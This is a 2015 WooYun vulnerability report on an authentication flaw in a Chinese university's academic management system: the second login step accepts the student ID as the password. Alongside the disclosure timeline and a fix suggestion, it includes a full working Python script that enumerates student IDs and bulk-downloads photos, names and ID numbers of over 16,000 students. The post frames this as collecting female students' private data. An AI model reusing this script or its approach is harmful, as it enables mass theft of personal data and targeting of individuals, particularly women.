当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161306

漏洞标题:看哥如何获取全校妹子的私人信息(照片,身份证,家庭住址等,1W+可拖取数据)附利用脚本

相关厂商:长春凌展软件有限责任公司

漏洞作者: 冰糖flow

提交时间:2015-12-15 14:20

修复时间:2016-02-01 19:48

公开时间:2016-02-01 19:48

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:19

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-15: 细节已通知厂商并且等待厂商处理中
2015-12-18: 厂商已经确认,细节仅向厂商公开
2015-12-28: 细节向核心白帽子及相关领域专家公开
2016-01-07: 细节向普通白帽子公开
2016-01-17: 细节向实习白帽子公开
2016-02-01: 细节向公众公开

简要描述:

凌展教务管理系统
厂商:http://www.lingzhansoft.com/dxal.asp
这个是个通用教务管理系统,采用的高校还比较多
具体介绍参见爆过的两次漏洞:
http://wooyun.org/bugs/wooyun-2010-082138
http://wooyun.org/bugs/wooyun-2010-081918
这次是最近的一次系统升级,采用这次升级的目前只有长春理工大学,新漏洞可以获取全校学生的个人信息,包括姓名,生日,身份证号,籍贯,家庭住址,照片,大概可以拖取1W+的个人信息

详细说明:

URL:

http://**.**.**.**/teachwebsl/login.aspx


这个登陆有一个很脑残的设计,首先登录框提交:

Screenshot from 2015-12-14 18:52:02.png


这个POST会给你来个302:

Screenshot from 2015-12-14 18:52:41.png


然后就是让人无语的一幕:

Screenshot from 2015-12-14 18:53:35.png


新跳转的的地址参数竟然ussername和password一样。仔细一看,是学号
然后就可以随手登录任何学号对应的教务系统帐号
(嘿嘿~~):

Untitled.png

漏洞证明:

根据公开数据,涉及16257人的信息:

Screenshot from 2015-12-14 20:34:21.png


于是就附带写了一个拖全校妹子照片的脚本:

#! /usr/bin/python
# encoding: utf-8
import threading
import httplib2
from bs4 import BeautifulSoup
def setData():
global password, years, uidRange, uidStartList, classLength, current, lock2, threads
# The number of threads
threads = 10
# The maxium number of people in each classes
classLength = 40
# The entering year of each grade
years = [12, 13, 14, 15]
# Major_ID: [number_of_classes_in_grade_4, in_grade_3, in_grade_2, in_grade_1]
uidRange = {
111: [2, 2, 1, 1],
112: [0, 0, 1, 1],
121: [5, 7, 8, 6],
122: [1, 2, 2, 2],
131: [3, 4, 3, 2],
132: [2, 3, 2, 2],
133: [4, 0, 0, 0],
211: [5, 5, 6, 6],
212: [7, 8, 8, 7],
221: [1, 1, 2, 1],
222: [2, 2, 1, 1],
311: [6, 6, 7, 7],
321: [5, 5, 6, 6],
331: [2, 3, 2, 2],
411: [5, 4, 5, 5],
412: [2, 2, 3, 2],
421: [5, 5, 5, 4],
431: [2, 2, 3, 3],
432: [3, 3, 3, 3],
511: [6, 8, 7, 7],
521: [3, 4, 3, 3],
522: [1, 2, 2, 2],
611: [3, 5, 4, 3],
612: [1, 1, 1, 1],
613: [1, 1, 1, 1],
621: [1, 1, 1, 1],
622: [2, 1, 1, 1],
623: [1, 2, 2, 1],
624: [1, 1, 1, 1],
711: [3, 3, 3, 3],
712: [1, 1, 1, 1],
721: [1, 0, 0, 0],
722: [1, 2, 1, 1],
811: [2, 2, 2, 2],
821: [2, 2, 2, 1],
822: [1, 1, 1, 1],
911: [1, 1, 1, 1],
912: [1, 1, 1, 1],
913: [3, 3, 3, 2],
921: [2, 2, 1, 1],
922: [3, 2, 3, 3],
923: [0, 0, 2, 1],
924: [1, 1, 1, 1],
925: [1, 1, 1, 1],
1011: [4, 4, 4, 3],
1012: [2, 2, 2, 2],
1013: [1, 1, 1, 1],
1014: [2, 2, 2, 2],
1111: [2, 2, 2, 2],
1112: [2, 2, 1, 1],
1121: [2, 2, 2, 2],
1131: [2, 1, 1, 1],
1132: [2, 2, 2, 2],
1133: [0, 1, 1, 1],
1211: [2, 2, 2, 2],
1221: [2, 2, 2, 2]
}
uidStartList = []
current = -1
lock2 = threading.Lock()
for key in uidRange:
for i in range(0, 4):
for j in range(1, uidRange[key][i] + 1):
uidStartList.append(years[i] * 10000000 + key * 1000 + j * 100)
def getNext():
global current, uidStartList, lock2
lock2.acquire()
current += 1
if current >= len(uidStartList):
lock2.release()
return False
else:
lock2.release()
return uidStartList[current]
def getProfile(uid):
header = {}
h = httplib2.Http(timeout = 7)
h.follow_redirects = False
url = 'http://**.**.**.**/teachweb/Login.aspx?username=' + uid + '%20%20%20&password=' + uid + '%20%20%20&role=student'
try:
resp, content = h.request(url, 'GET', headers = header)
header['Cookie'] = resp['set-cookie'].split(';')[0]
resp, content = h.request('http://**.**.**.**/teachweb/index1.aspx', 'GET', headers = header)
#resp, content = h.request('http://**.**.**.**/teachweb/brxx/MySelfInfo.aspx', 'GET', headers = header)
return content
except Exception:
return 'fail'
def getPicture(uid):
header = {}
h = httplib2.Http(timeout = 7)
h.follow_redirects = False
url = 'http://**.**.**.**/teachweb/Login.aspx?username=' + uid + '%20%20%20&password=' + uid + '%20%20%20&role=student'
try:
resp, content = h.request(url, 'GET', headers = header)
header['Cookie'] = resp['set-cookie'].split(';')[0]
resp, content = h.request('http://**.**.**.**/teachweb/brxx/MyPicture.aspx', 'GET', headers = header)
return content
except Exception:
return 'fail'
def pull(start, length):
for i in range(start + 1, start + length + 1):
uid = '%d' %i
soup = BeautifulSoup(getProfile(uid))
try:
name = soup.find_all('font')[5].string.encode('utf-8')
noid = soup.find_all('font')[7].string.encode('utf-8')
f = file(name + '_' + noid + '.jpg', 'w')
f.write(getPicture(uid))
f.close()
print 'UID: ' + uid + ' Get Picture Success'
except Exception:
print 'UID: ' + uid + ' Get Picture Failed'
class Cracker(threading.Thread):
def run(self):
global classLength
classStart = getNext()
while classStart:
pull(classStart, classLength)
classStart = getNext()
return
if __name__ == '__main__':
setData()
print 'Cracking Starting ...'
global threads
for i in range(0,threads):
Cracker().start()


拖取中:

Screenshot from 2015-12-14 20:39:01.png


PS:貌似忘了加判断,汉子的也拖下来了。。。

修复方案:

把那个第二次的登录验证去掉,或者第二次的验证使用和第一次相同的密码

版权声明:转载请注明来源 冰糖flow@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-12-18 19:42

厂商回复:

CNVD未直接复现所述情况,已经由CNVD转报教育网应急组织处置,由其后续协调网站管理单位处置。

最新状态:

暂无